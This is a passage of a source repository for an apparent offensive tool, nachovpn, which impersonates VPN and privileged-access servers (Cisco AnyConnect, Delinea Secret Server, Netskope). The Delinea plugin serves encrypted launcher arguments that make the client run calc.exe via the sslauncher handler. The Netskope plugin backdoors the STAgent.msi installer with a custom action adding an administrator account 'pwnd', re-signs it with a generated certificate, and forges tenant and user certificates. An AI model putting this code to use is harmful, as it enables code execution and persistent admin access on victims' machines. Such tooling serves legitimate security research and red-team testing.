    <DeployDirectory>Umbrella</DeployDirectory>
    <Description>Umbrella Roaming Security Profile</Description>
    <DownloadRemoveEmpty>false</DownloadRemoveEmpty>
  </Profile>
</ServiceProfiles>
</service-profile-manifest>
<vpn-client-pkg-version>
<pkgversion>3,9,04053</pkgversion>
</vpn-client-pkg-version>
<vpn-core-manifest>
<vpn rev="1.0">
  <file version="3.9.04053" id="VPNCore" is_core="yes" type="msi" action="install" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-5.9.04053-core-vpn-webdeploy-k9.msi</uri>
    <display-name>AnyConnect Secure Mobility Client</display-name>
  </file>
  <file version="4.9.04053" id="DART" is_core="no" type="msi" action="install" module="dart" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-dart-webdeploy-k9.msi</uri>
    <display-name>AnyConnect DART</display-name>
  </file>
  <file version="4.9.04053" id="Posture" is_core="no" type="msi" action="install" module="posture" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-posture-webdeploy-k9.msi</uri>
    <display-name>AnyConnect Posture</display-name>
  </file>
  <file version="4.9.04053" id="gina" is_core="no" type="msi" action="install" module="vpngina" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-gina-webdeploy-k9.msi</uri>
    <display-name>AnyConnect SBL</display-name>
  </file>
  <file version="4.9.04053" id="NAM" is_core="no" type="msi" action="install" module="nam" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-nam-webdeploy-k9.msi</uri>
    <display-name>AnyConnect Network Access Manager</display-name>
  </file>
  <file version="4.9.04053" id="NVM" is_core="no" type="msi" action="install" module="nvm" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-nvm-webdeploy-k9.msi</uri>
    <display-name>AnyConnect Network Visibility</display-name>
  </file>
  <file version="4.9.04053" id="AMPEnabler" is_core="no" type="msi" action="install" module="ampenabler" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-amp-webdeploy-k9.msi</uri>
    <display-name>AnyConnect AMP Enabler</display-name>
  </file>
  <file version="4.9.04053" id="ISEPosture" is_core="no" type="msi" action="install" module="iseposture" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-iseposture-webdeploy-k9.msi</uri>
    <display-name>AnyConnect ISE Posture</display-name>
  </file>
  <file version="4.9.04053" id="Umbrella" is_core="no" type="msi" action="install" module="umbrella" os="win:6.1.7601">
    <uri>binaries/anyconnect-win-4.9.04053-umbrella-webdeploy-k9.msi</uri>
    <display-name>AnyConnect Umbrella Roaming Security</display-name>
  </file>
</vpn>
</vpn-core-manifest>
</opaque>
<vpn-profile-manifest>
<vpn rev="1.0">
<file type="profile" service-type="user">
<uri>/CACHE/stc/profiles/profile.xml</uri>
<hash type="sha1">{{ profile_hash }}</hash>
</file>
</vpn>
</vpn-profile-manifest>
<vpn-customization-manifest>
<vpn rev="1.0">
{%- for script in script_hashes -%}
{%- if script['hash'] %}
<file app="AnyConnect" platform="{{ script['platform'] }}" type="binary">
<filename>scripts_{{ script['filename'] }}</filename>
<hash type="sha1">{{ script['hash'] }}</hash>
</file>
{%- endif -%}
{%- endfor %}
</vpn>
</vpn-customization-manifest>
</config>
</config-auth>

================================================
FILE: src/nachovpn/plugins/cisco/templates/prelogin.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="auth-request" aggregate-auth-version="2">
<opaque is-for="sg">
<tunnel-group>VPN2</tunnel-group>
<aggauth-handle>864640002</aggauth-handle>
<auth-method>multiple-cert</auth-method>
<auth-method>single-sign-on</auth-method>
<group-alias>{{ vpn_name }}</group-alias>
<config-hash>1619719004259</config-hash>
</opaque>
<auth id="main">
<form>
<input type="text" name="username" label="Username:"></input>
<input type="password" name="password" label="Password:"></input>
<select name="group_list" label="GROUP:">
<option selected="true">{{ vpn_name }}</option>
</select>
</form>
</auth>
</config-auth>

================================================
FILE: src/nachovpn/plugins/cisco/templates/profile.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<AnyConnectProfile xmlns="http://schemas.xmlsoap.org/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://schemas.xmlsoap.org/encoding/ AnyConnectProfile.xsd">
	<ClientInitialization>
		<UseStartBeforeLogon UserControllable="true">false</UseStartBeforeLogon>
		<AutomaticCertSelection UserControllable="true">false</AutomaticCertSelection>
		<ShowPreConnectMessage>false</ShowPreConnectMessage>
		<CertificateStore>All</CertificateStore>
		<CertificateStoreMac>All</CertificateStoreMac>
		<CertificateStoreLinux>All</CertificateStoreLinux>
		<CertificateStoreOverride>false</CertificateStoreOverride>
		<ProxySettings>Native</ProxySettings>
		<AllowLocalProxyConnections>false</AllowLocalProxyConnections>
		<AuthenticationTimeout>30</AuthenticationTimeout>
		<AutoConnectOnStart UserControllable="true">false</AutoConnectOnStart>
		<MinimizeOnConnect UserControllable="true">true</MinimizeOnConnect>
		<LocalLanAccess UserControllable="true">false</LocalLanAccess>
		<DisableCaptivePortalDetection UserControllable="true">true</DisableCaptivePortalDetection>
		<ClearSmartcardPin UserControllable="true">true</ClearSmartcardPin>
		<IPProtocolSupport>IPv4</IPProtocolSupport>
		<AutoReconnect UserControllable="false">false
			<AutoReconnectBehavior UserControllable="false">ReconnectAfterResume</AutoReconnectBehavior>
		</AutoReconnect>
		<SuspendOnConnectedStandby>false</SuspendOnConnectedStandby>
		<AutoUpdate UserControllable="false">false</AutoUpdate>
		<RSASecurIDIntegration UserControllable="false">Automatic</RSASecurIDIntegration>
		<WindowsLogonEnforcement>SingleLocalLogon</WindowsLogonEnforcement>
		<LinuxLogonEnforcement>SingleLocalLogon</LinuxLogonEnforcement>
		<WindowsVPNEstablishment>AllowRemoteUsers</WindowsVPNEstablishment>
		<LinuxVPNEstablishment>LocalUsersOnly</LinuxVPNEstablishment>
		<AutomaticVPNPolicy>false</AutomaticVPNPolicy>
		<PPPExclusion UserControllable="false">Disable
			<PPPExclusionServerIP UserControllable="false"></PPPExclusionServerIP>
		</PPPExclusion>
		<EnableScripting UserControllable="false">true
			<TerminateScriptOnNextEvent>false</TerminateScriptOnNextEvent>
			<EnablePostSBLOnConnectScript>true</EnablePostSBLOnConnectScript>
		</EnableScripting>
		<EnableAutomaticServerSelection UserControllable="false">false
			<AutoServerSelectionImprovement>20</AutoServerSelectionImprovement>
			<AutoServerSelectionSuspendTime>4</AutoServerSelectionSuspendTime>
		</EnableAutomaticServerSelection>
		<RetainVpnOnLogoff>false
		</RetainVpnOnLogoff>
		<CaptivePortalRemediationBrowserFailover>false</CaptivePortalRemediationBrowserFailover>
		<AllowManualHostInput>true</AllowManualHostInput>
	</ClientInitialization>
</AnyConnectProfile>


================================================
FILE: src/nachovpn/plugins/delinea/__init__.py
================================================


================================================
FILE: src/nachovpn/plugins/delinea/plugin.py
================================================
from nachovpn.plugins import VPNPlugin
from flask import request, abort, Response
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import xml.etree.ElementTree as ET
from urllib.parse import quote
import os
import uuid
import base64
import secrets
import json

"""
# Requests:

## GetLauncherArguments

<?xml version = "1.0" encoding="UTF-8"?>
<soap:Envelope
	xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
	xmlns:urn="urn:thesecretserver.com">
	<soap:Header/>
	<soap:Body>
		<urn:GetLauncherArguments>
			<urn:guid>748294fc-9527-4182-a47b-81fcaf99f473</urn:guid>
			<urn:version>0</urn:version>
		</urn:GetLauncherArguments>
	</soap:Body>
</soap:Envelope>

## GetSymmetricKey

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
	xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
	xmlns:urn="urn:thesecretserver.com">
	<soap:Body>
		<urn:GetSymmetricKey>
			<urn:guid>748294fc-9527-4182-a47b-81fcaf99f473</urn:guid>
			<urn:publicKeyBlob>BgIAAACkAABSU0ExAAQAAAEAAQDddOOABJmRVvrS5SIrFiANNGkdYu0/ii0bp6k2NVVeymFpB9+ohAmPGqCsowJkGesV3zzGakFvuGzS3H5TVKTTK8T0idFRSfxWVihUv/7b9f50B8GTWpPFTYkCCneGD5hxYyPmwPNiNgoE9FsZCLyrffAzioSotZS2xeBZfaSzog==</urn:publicKeyBlob>
		</urn:GetSymmetricKey>
	</soap:Body>
</soap:Envelope>
"""

SECRET_SERVER_XML_NS = {
    "soap": "http://www.w3.org/2003/05/soap-envelope",
    "urn": "urn:thesecretserver.com"
    }

class DelineaPlugin(VPNPlugin):
    def __init__(self, *args, **kwargs):
        # provide the templates directory relative to this plugin
        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))
        
        # Store session keys for each GUID
        self.session_keys = {}
        
    def _generate_aes_keys(self):
        """Generate AES-256 key and IV"""
        aes_key = secrets.token_bytes(32)  # 256-bit key
        aes_iv = secrets.token_bytes(16)   # 128-bit IV
        return aes_key, aes_iv
    
    def _aes_encrypt(self, data, key, iv):
        """Encrypt data with AES-256-CBC"""
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
         
        # Pad data to 16-byte boundary
        padding_length = 16 - (len(data) % 16)
        padded_data = data + bytes([padding_length] * padding_length)
         
        encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
        return encrypted_data
     
    def _decode_rsa_public_key(self, public_key_blob):
        """Decode RSA public key from Microsoft format"""
        try:
            # Decode base64
            key_data = base64.b64decode(public_key_blob)
              
            # Microsoft RSA key format (all values in little-endian):
            # PUBLICKEYSTRUC (8 bytes):
            #   - bType: 0x06 (PUBLICKEYBLOB)
            #   - bVersion: 0x02
            #   - reserved: 0x0000
            #   - aiKeyAlg: 0x0000A400 (CALG_RSA_KEYX)
            # RSAPUBKEY (12 bytes):
            #   - magic: 0x31415352 ("RSA1")
            #   - bitlen: key length in bits (little-endian)
            #   - pubexp: public exponent (little-endian, usually 65537)
            # modulus[bitlen/8]: modulus data

            if len(key_data) < 20:  # Minimum size for header + RSAPUBKEY
                self.logger.error("Key blob too short")
                return None

            # Check for PUBLICKEYBLOB type
            if key_data[0] != 0x06:
                self.logger.error(f"Invalid blob type: {key_data[0]} (expected 0x06)")
                return None

            # Check for RSA1 magic
            if key_data[8:12] != b'RSA1':
                self.logger.error("Invalid RSA magic")
                return None

            # Read bitlen (little-endian)
            bitlen = int.from_bytes(key_data[12:16], byteorder='little')

            # Read pubexp (little-endian)
            pubexp = int.from_bytes(key_data[16:20], byteorder='little')

            # Calculate modulus length
            modulus_len = bitlen // 8

            # Extract modulus (starts at byte 20)
            if len(key_data) < 20 + modulus_len:
                self.logger.error("Key blob too short for modulus")
                return None
                
            modulus_bytes = key_data[20:20+modulus_len]

            # Convert to integers (both little-endian according to Microsoft docs)
            modulus = int.from_bytes(modulus_bytes, byteorder='little')
            exponent = pubexp

            # Debug logging
            self.logger.debug(f"Parsed RSA key - Bitlen: {bitlen}, Modulus length: {len(modulus_bytes)}, Exponent: {exponent}")
            self.logger.debug(f"Modulus bytes (first 16): {modulus_bytes[:16].hex()}")
            self.logger.debug(f"Exponent bytes: {exponent.to_bytes(4, 'little').hex()}")

            # Validate exponent
            if exponent < 3:
                self.logger.error(f"Invalid RSA exponent: {exponent} (must be >= 3)")
                return None
            if exponent >= modulus:
                self.logger.error(f"Invalid RSA exponent: {exponent} (must be < modulus)")
                return None

            # Create RSA public key
            public_key = rsa.RSAPublicNumbers(exponent, modulus).public_key(backend=default_backend())
            self.logger.debug(f"Successfully decoded RSA key: {bitlen}-bit key, exponent={exponent}")
            return public_key
              
        except Exception as e:
            self.logger.error(f"Failed to decode RSA public key: {e}")
            return None
     
    def _rsa_encrypt(self, data, public_key):
        """Encrypt data with RSA using the provided public key"""
        try:
            encrypted_data = public_key.encrypt(
                data,
                padding.OAEP(
                    mgf=padding.MGF1(algorithm=hashes.SHA1()),
                    algorithm=hashes.SHA1(),
                    label=None
                )
            )
            return encrypted_data
        except Exception as e:
            self.logger.error(f"Failed to encrypt with RSA: {e}")
            return None
        
    def _setup_routes(self):
        # Call the parent class's route setup
        super()._setup_routes()

        # Add additional routes specific to this plugin
        @self.flask_app.route('/', methods=['GET'])
        @self.flask_app.route('/delinea', methods=['GET'])
        def index():
            guid = str(uuid.uuid4())
            session_guid = str(uuid.uuid4())
            url_encoded = quote(f"https://{self.dns_name}/SecretServer/Rdp/V1/rdpwebservice.asmx", safe='')
            xml = self.render_template('index.html', guid=guid, session_guid=session_guid, url_encoded=url_encoded)
            return Response(xml, mimetype='text/html')
        
        @self.flask_app.route('/SecretServer/Rdp/<version>/rdpwebservice.asmx', methods=['POST'])
        @self.flask_app.route('/secretserver/rdp/<version>/rdpwebservice.asmx', methods=['POST'])
        def rdpwebservice(version):
            self.logger.debug(request.data)
            if b'GetLauncherArguments' in request.data:
                # Extract GUID from request
                root = ET.fromstring(request.data)
                guid = root.find(".//urn:guid", SECRET_SERVER_XML_NS).text
                self.logger.debug(f"Extracted GUID: {guid}")
                
                # Generate AES keys for this session
                aes_key, aes_iv = self._generate_aes_keys()
                self.logger.debug(f"Generated AES key={aes_key.hex()}, IV={aes_iv.hex()}")
                
                # Store keys for later use
                self.session_keys[guid] = {
                    'aes_key': aes_key,
                    'aes_iv': aes_iv
                }
                
                # Create launcher arguments
                launcher_data = json.dumps({
                    "Domain": "aaa.com",
                    "WinProcessName": "calc.exe",
                    "WinProcessArgs": "",
                    "WinLaunchAsUser": False,
                    "WinFileToRun": "",
                    "UseWindowFormFiller": False,
                    "WinLoadUserProfile": False,
                    "WinUseShellExecute": False,
                    "Processname": "",
                    "LaunchAsUser": False,
                    "UseShellExecute": False,
                    "ProcessArgs": None,
                    "FileToRun": "",
                    "WindowsEscapeCharacter": None,
                    "WindowsCharactersToEscape": None,
                    "RecordMultipleWindows": True,
                    "AdditionalProcessesToRecord": None,
                    "UseSSHTunnel": False,
                    "ProcessTunnelArgs": None,
                    "WinProcessTunnelArgs": "",
                    "TunnelRemoteHost": None,
                    "TunnelRemotePort": None,
                    "UseSshProxy": False,
                    "SshProxyHost": None,
                    "SshProxyPort": 0,
                    "SshProxyUsername": None,
                    "SshProxyPassword": None,
                    "SshPublicKeyFingerPrint": None,
                    "PreserveClientProcess": False,
                    "SessionToken": None,
                    "SessionExpiresInSeconds": None,
                    "SessionRefreshToken": None,
                    "SSHPrivateKeyOpenSSH": None,
                    "EnableSSHVideoRecording": False,
                    "Username": "aaa",
                    "Password": "aaa",
                    "record": False,
                    "hideRecordingIndicator": True,
                    "sessionkey": guid,
                    "sessionCallbackIntervalSeconds": 60,
                    "fipsEnabled": False,
                    "Machine": None,
                    "Url": None,
                    "Server": None,
                    "FingerprintSHA1String": None,
                    "FingerprintSHA512String": None,
                    "Host": None,
                    "Port": 0,
                    "SSHPrivateKey": None,
                    "SSHPrivateKeyPassPhrase": None,
                    "MaxSessionLength": 24,
                    "InactivityTimeoutMinutes": 120,
                    "IsRDSSession": False,
                    "RecordRDSKeystrokes": False,
                    "CredentialProxyType": None,
                    "Target": ""
                    })
                
                encrypted_launcher_data = self._aes_encrypt(launcher_data.encode('utf-16-le'), aes_key, aes_iv)
                launcher_args = encrypted_launcher_data.hex()
                xml = self.render_template('GetLauncherArguments.xml', launcher_args=launcher_args)
                return Response(xml, mimetype='text/xml')
                
            elif b'GetSymmetricKey' in request.data:
                # Extract the public key and GUID
                root = ET.fromstring(request.data)
                guid = root.find(".//urn:guid", SECRET_SERVER_XML_NS).text
                public_key_blob = root.find(".//urn:publicKeyBlob", SECRET_SERVER_XML_NS).text
                
                # Get stored session keys for this GUID
                if guid not in self.session_keys:
                    self.logger.error(f"No session keys found for GUID: {guid}")
                    return abort(400)
                
                session_data = self.session_keys[guid]
                aes_key = session_data['aes_key']
                aes_iv = session_data['aes_iv']
                
                # Decode and load RSA public key
                public_key = self._decode_rsa_public_key(public_key_blob)
                if not public_key:
                    return abort(400)
                
                # Generate session keys
                session_key = secrets.token_bytes(32)
                session_iv = secrets.token_bytes(16)
                
                # Encrypt the keys with RSA
                encrypted_aes_key = self._rsa_encrypt(aes_key, public_key)
                encrypted_aes_iv = self._rsa_encrypt(aes_iv, public_key)
                encrypted_session_key = self._rsa_encrypt(session_key, public_key)
                encrypted_session_iv = self._rsa_encrypt(session_iv, public_key)
                
                if not all([encrypted_aes_key, encrypted_aes_iv, encrypted_session_key, encrypted_session_iv]):
                    return abort(500)
                
                # Base64 encode the encrypted keys
                keys = {
                    'aes_key': base64.b64encode(encrypted_aes_key).decode('utf-8'),
                    'aes_iv': base64.b64encode(encrypted_aes_iv).decode('utf-8'),
                    'session_key': base64.b64encode(encrypted_session_key).decode('utf-8'),
                    'session_iv': base64.b64encode(encrypted_session_iv).decode('utf-8')
                }
                
                xml = self.render_template('GetSymmetricKey.xml', **keys)
                return Response(xml, mimetype='text/xml')
            
            elif b'UpdateStatusV2' in request.data:
                xml = self.render_template('UpdateStatusV2.xml')
                return Response(xml, mimetype='text/xml')

            elif b'GetNextProtocolHandlerVersion' in request.data:
                xml = self.render_template('GetNextProtocolHandlerVersion.xml')
                return Response(xml, mimetype='text/xml')
            
            return abort(404)

    def handle_http(self, handler):
        if handler.command == 'GET':
            self.handle_get(handler)
        elif handler.command == 'POST':
            self.handle_post(handler)
        return True

    def can_handle_http(self, handler):
        user_agent = handler.headers.get('User-Agent', '')
        return handler.headers.get('vault-application') \
            or handler.path == '/delinea' \
            or handler.path == '/rdpwebservice.asmx' \
            or 'Thycotic' in user_agent \
            or 'MS Web Services Client Protocol' in user_agent


================================================
FILE: src/nachovpn/plugins/delinea/templates/GetLauncherArguments.xml
================================================
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetLauncherArgumentsResponse xmlns="urn:thesecretserver.com">
      <GetLauncherArgumentsResult>{{ launcher_args }}</GetLauncherArgumentsResult>
    </GetLauncherArgumentsResponse>
  </soap:Body>
</soap:Envelope>

================================================
FILE: src/nachovpn/plugins/delinea/templates/GetNextProtocolHandlerVersion.xml
================================================
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
	xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<soap:Body>
		<GetNextProtocolHandlerVersionResponse
			xmlns="urn:thesecretserver.com">
			<GetNextProtocolHandlerVersionResult>6.0.3.39</GetNextProtocolHandlerVersionResult>
		</GetNextProtocolHandlerVersionResponse>
	</soap:Body>
</soap:Envelope>

================================================
FILE: src/nachovpn/plugins/delinea/templates/GetSymmetricKey.xml
================================================
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetSymmetricKeyResponse xmlns="urn:thesecretserver.com">
      <GetSymmetricKeyResult>
        <Key>{{ aes_key }}</Key>
        <IV>{{ aes_iv }}</IV>
        <SessionKey>{{ session_key }}</SessionKey>
        <SessionIV>{{ session_iv }}</SessionIV>
      </GetSymmetricKeyResult>
    </GetSymmetricKeyResponse>
  </soap:Body>
</soap:Envelope>

================================================
FILE: src/nachovpn/plugins/delinea/templates/UpdateStatusV2.xml
================================================
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
	xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<soap:Body>
		<UpdateStatusV2Response
			xmlns="urn:thesecretserver.com">
			<UpdateStatusV2Result>
				<IsBeingViewed>false</IsBeingViewed>
				<IsTerminate>false</IsTerminate>
				<IsWarning>false</IsWarning>
			</UpdateStatusV2Result>
		</UpdateStatusV2Response>
	</soap:Body>
</soap:Envelope>

================================================
FILE: src/nachovpn/plugins/delinea/templates/index.html
================================================
<html>
    <body>
        <script>
            const guid = "{{ guid }}";
            const sessionGuid = "{{ session_guid }}";
            window.location.href = `sslauncher:///?ssurl={{ url_encoded }}&guid=${guid}&sessionGuid=${sessionGuid}&type=process&apiVersion=3&autoUpdateEnabled=True`;
        </script>
    </body>
</html>

================================================
FILE: src/nachovpn/plugins/example/__init__.py
================================================


================================================
FILE: src/nachovpn/plugins/example/plugin.py
================================================
from nachovpn.plugins import VPNPlugin
from flask import Flask, jsonify, request
import logging

class ExamplePlugin(VPNPlugin):
    def _setup_routes(self):
        # Call the parent class's route setup
        super()._setup_routes()

        # Add additional routes specific to this plugin
        @self.flask_app.route('/api/v2/healthcheck', methods=['GET'])
        def healthcheck_v2():
            return jsonify({"message": "OK"})

    def can_handle_http(self, handler):
        return handler.path in ['/api/v2/healthcheck']

    def can_handle_data(self, data, client_socket, client_ip):
        logging.info(f"ExamplePlugin::can_handle_data: Received data from {client_ip}: {data.hex()}")
        return len(data) >= 4 and b"PING" in data[:4]

    def handle_data(self, data, client_socket, client_ip):
        logging.info(f"ExamplePlugin::handle_data: Received data from {client_ip}: {data.hex()}")
        client_socket.sendall(b"PONG\n")
        return True


================================================
FILE: src/nachovpn/plugins/netskope/__init__.py
================================================
from .plugin import NetskopePlugin

__all__ = [
    'NetskopePlugin'
]

================================================
FILE: src/nachovpn/plugins/netskope/plugin.py
================================================
from nachovpn.plugins import VPNPlugin
from flask import Response, abort, request, send_file, jsonify
from nachovpn.plugins.paloalto.msi_patcher import get_msi_patcher

import subprocess
import shutil
import os
import time
import jwt
import random
import string
import hashlib
import base64
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.serialization import pkcs12
from datetime import datetime, timedelta, timezone
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, ObjectIdentifier


class NetskopePlugin(VPNPlugin):
    def __init__(self, *args, **kwargs):
        # provide the templates directory relative to this plugin
        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))

        # Payload storage
        self.payload_dir = os.path.join(os.getcwd(), 'payloads')
        self.files_dir = os.path.join(os.path.dirname(__file__), 'files')
        self.cache_dir = os.path.join(os.getcwd(), 'cache')
        os.makedirs(self.payload_dir, exist_ok=True)
        os.makedirs(self.cache_dir, exist_ok=True)

        # Payload options
        self.msi_force_patch = os.getenv("NETSKOPE_MSI_FORCE_PATCH", False)
        self.msi_force_download = os.getenv("NETSKOPE_MSI_FORCE_DOWNLOAD", False)
        self.msi_add_file = os.getenv("NETSKOPE_MSI_ADD_FILE", None)
        self.msi_increment_version = os.getenv("NETSKOPE_MSI_INCREMENT_VERSION", True)
        self.msi_command = os.getenv(
            "NETSKOPE_MSI_COMMAND",
            r"net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add"
        )

        # Certificate paths
        self.codesign_cert_path = os.path.join('certs', 'netskope-codesign.cer')
        self.codesign_key_path = os.path.join('certs', 'netskope-codesign.key')
        self.codesign_pfx_path = os.path.join('certs', 'netskope-codesign.pfx')

        # Tenant config
        self.tenant_config = {
            "orgkey": os.getenv("NETSKOPE_ORGKEY", self.random_string(20)),
            "tenant_id": os.getenv("NETSKOPE_TENANT_ID", self.random_int(1000, 9999)),
            "tenant_name": os.getenv("NETSKOPE_TENANT_NAME", "TestOrg"),
            "region": os.getenv("NETSKOPE_REGION", "eu"),
            "pop_name": os.getenv("NETSKOPE_POP_NAME", "UK-LON1"),
            "addon_manager_host": os.getenv("NETSKOPE_ADDON_MANAGER_HOST", self.dns_name),
            "enrollment_host": os.getenv("NETSKOPE_ENROLLMENT_HOST", self.dns_name),
            "addon_checker_host": os.getenv("NETSKOPE_ADDON_CHECKER_HOST", self.dns_name),
            "sf_checker_host": os.getenv("NETSKOPE_SF_CHECKER_HOST", self.dns_name),        # sfchecker.goskope.com
            "npa_gateway_host": os.getenv("NETSKOPE_NPA_GATEWAY_HOST", self.dns_name),      # gateway.npa.goskope.com
            "nsgw_host": os.getenv("NETSKOPE_NSGW_HOST", self.dns_name),                    # gateway-<tenant_name>.eu.goskope.com
            "nsgw_backup_host": os.getenv("NETSKOPE_NSGW_BACKUP_HOST", self.dns_name),      # gateway-backup-<tenant_name>.eu.goskope.com
            "gslb_gateway_host": os.getenv("NETSKOPE_GSLB_GATEWAY_HOST", self.dns_name),    # gateway.gslb.goskope.com
            "npa_host": os.getenv("NETSKOPE_NPA_HOST", self.dns_name),                      # ns-<tenant_id>.nl-am2.npa.goskope.com
            "stitcher_host": os.getenv("NETSKOPE_STITCHER_HOST", self.dns_name),            # stitcher.npa.goskope.com
            "dp_gateway_fqdn": os.getenv("NETSKOPE_DP_GATEWAY_FQDN", self.dns_name),        # gateway-lon2.goskope.com
            "user_email": os.getenv("NETSKOPE_USER_EMAIL", "test.user@example.com"),
            "user_key": os.getenv("NETSKOPE_USER_KEY", self.random_string(20)),
            "client_version": os.getenv("NETSKOPE_CLIENT_VERSION", "200.0.0.2272"),
            "client_hash": self.random_hash("sha1"),
        }

        if not self.bootstrap():
            self.logger.error(f"Failed to bootstrap. Disabling {self.__class__.__name__}")
            self.enabled = False

    def random_string(self, length=20):
        return ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase, k=length))

    def random_int(self, min=1, max=10000):
        return random.randint(min, max)

    def random_hash(self, algorithm="md5"):
        h = hashlib.new(algorithm)
        h.update(self.random_string().encode())
        return h.hexdigest().upper()

    def sign_msi_files(self):
        if not os.path.exists(self.codesign_cert_path):
            self.logger.error("Windows code signing certificate not found, skipping signing")
            return False

        if not os.path.exists(os.path.join(self.payload_dir, "STAgent.msi")):
            self.logger.error("MSI file not found, skipping signing")
            return False

        if os.name == "nt":
            self.logger.error("Windows MSI signing not supported yet")
            return False

        if not os.path.exists('/usr/bin/osslsigncode'):
            self.logger.error("osslsigncode not found, skipping signing")
            return False

        # Sign the MSI files
        for msi_file in ["STAgent.msi"]:
            input_file = os.path.join(self.payload_dir, msi_file)
            output_file = os.path.join(self.payload_dir, f"{msi_file}.signed")

            # Remove existing signed file
            if os.path.exists(output_file):
                os.remove(output_file)

            proc = subprocess.run([
                "/usr/bin/osslsigncode", "sign", "-pkcs12", self.codesign_pfx_path,
                "-h", "sha256", "-in", input_file, "-out", output_file,
                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

            if proc.returncode or not os.path.exists(output_file):
                self.logger.error(f"Failed to sign {msi_file}: {proc.returncode}")
                return False
            else:
                self.logger.info(f"Signed {msi_file}")
                os.replace(output_file, input_file)
        return True

    def verify_msi_files(self):
        # Verify that the MSI files are signed by our current CA
        if os.name == "nt":
            self.logger.error("Windows MSI verification not supported yet")
            return True

        if os.name == "posix" and not os.path.exists('/usr/bin/osslsigncode'):
            self.logger.error("osslsigncode not found, skipping verification")
            return True

        for msi_file in ["STAgent.msi"]:
            proc = subprocess.run([
                "/usr/bin/osslsigncode", "verify", "-CAfile", self.cert_manager.ca_cert_path,
                "-in", os.path.join(self.payload_dir, msi_file),
                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

            if proc.returncode:
                self.logger.error(f"Failed to verify {msi_file}: {proc.returncode}")
                return False

        self.logger.info("MSI file verified")
        return True

    def patch_msi_files(self):
        # Patch the msi files
        if os.path.exists(os.path.join(self.payload_dir, "STAgent.msi")) and \
           not self.msi_force_patch and self.verify_msi_files():
            self.logger.warning("MSI file already patched, skipping")
            return True

        if os.name == "posix" and not os.path.exists('/usr/bin/msidump'):
            self.logger.error("msitools not found, skipping patching")
            return True

        # Check if MSI files are present
        if not os.path.exists(os.path.join(self.files_dir, "STAgent.msi")):
            self.logger.warning(f"MSI file not found in files directory: {self.files_dir}")
            return False

        patcher = get_msi_patcher()

        for msi_file in ["STAgent.msi"]:
            # Copy default MSI file to payload directory
            input_file = os.path.join(self.files_dir, msi_file)
            output_file = os.path.join(self.payload_dir, msi_file)
            shutil.copy(input_file, output_file)

            # Add patches
            if self.msi_add_file:
                patcher.add_file(output_file, self.msi_add_file, self.random_hash(), "DefaultFeature")
                self.logger.info(f"Added file {self.msi_add_file} to {msi_file}")

            if self.msi_command:
                patcher.add_custom_action(output_file, f"_{self.random_hash()}", 50, 
                                          "C:\\windows\\system32\\cmd.exe", f"/c {self.msi_command}", 
                                          "InstallExecuteSequence")
                self.logger.info(f"Added custom action to {msi_file}")

            # Set the MSI version
            patcher.set_msi_version(output_file, self.tenant_config["client_version"])
            self.logger.info(f"Set MSI version for {msi_file}")

            # Add CERT_DIGEST property
            # Not validated, but it's required by the STAgent service
            cert_digest = base64.b64encode(os.urandom(256)).decode()
            patcher.add_custom_property(output_file, "CERT_DIGEST", cert_digest)
            self.logger.info(f"Added CERT_DIGEST property to {msi_file}")

        self.logger.info("MSI file patched")
        return True

    def get_org_cert(self):
        return self.get_ca_cert()

    def get_ca_cert(self):
        with open(self.cert_manager.ca_cert_path, 'r') as f:
            return f.read()

    def get_user_cert(self):
        # Generate a private key for the user certificate
        user_private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )

        # Create the code signing certificate
        subject = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, self.tenant_config["user_email"]),
            x509.NameAttribute(NameOID.ORGANIZATION_NAME, self.tenant_config["tenant_name"]),
            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, os.urandom(16).hex()),
            x509.NameAttribute(NameOID.LOCALITY_NAME, "London"),
            x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "GB"),
